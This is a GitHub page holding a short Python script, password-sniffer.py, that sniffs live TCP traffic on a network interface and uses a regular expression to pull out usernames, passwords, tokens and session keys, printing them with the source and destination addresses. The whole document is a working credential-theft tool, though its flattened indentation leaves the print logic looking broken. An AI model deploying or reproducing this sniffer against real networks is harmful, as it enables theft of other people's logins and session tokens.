-
Notifications
You must be signed in to change notification settings - Fork 67
/
password-sniffer.py
executable file
·76 lines (61 loc) · 2.04 KB
/
password-sniffer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/python3
import sys
import re
import getopt
import pcapy
from impacket.ImpactDecoder import EthDecoder, IPDecoder, TCPDecoder
# Interface to sniff on
dev = "enp3s0f1"
# Pcap filter
filter = "tcp"
# Decoder for all layers
eth_dec = EthDecoder()
ip_dec = IPDecoder()
tcp_dec = TCPDecoder()
# Patterns that match usernames and passwords
pattern = re.compile(r"""(?P<found>(USER|USERNAME|PASS|
PASSWORD|LOGIN|BENUTZER|PASSWORT|AUTH|
ACCESS|ACCESS_?KEY|SESSION|
SESSION_?KEY|TOKEN)[=:\s].+)\b""",
re.MULTILINE|re.IGNORECASE)
# This function will be called for every packet, decode it and
# try to find a username or password in it
def handle_packet(hdr, data):
eth_pkt = eth_dec.decode(data)
ip_pkt = ip_dec.decode(eth_pkt.get_data_as_string())
tcp_pkt = tcp_dec.decode(ip_pkt.get_data_as_string())
payload = tcp_pkt.get_data_as_string()
match = None
try:
match = re.search(pattern, payload.decode())
except (UnicodeError, AttributeError):
# We got encrypted or otherwise binary data
if not tcp_pkt.get_SYN() and not tcp_pkt.get_RST() and \
not tcp_pkt.get_FIN() and match and \
match.groupdict()['found'] != None:
print("%s:%d -> %s:%d" % (ip_pkt.get_ip_src(),
tcp_pkt.get_th_sport(),
ip_pkt.get_ip_dst(),
tcp_pkt.get_th_dport()))
print("\t%s\n" % (match.groupdict()['found']))
def usage():
print(sys.argv[0] + " -i <dev> -f <pcap_filter>")
sys.exit(1)
# Parsing parameter
try:
cmd_opts = "f:i:"
opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
usage()
for opt in opts:
if opt[0] == "-f":
filter = opt[1]
elif opt[0] == "-i":
dev = opt[1]
else:
usage()
# Start sniffing
pcap = pcapy.open_live(dev, 1500, 0, 100)
pcap.setfilter(filter)
print("Sniffing passwords on " + str(dev))
pcap.loop(0, handle_packet)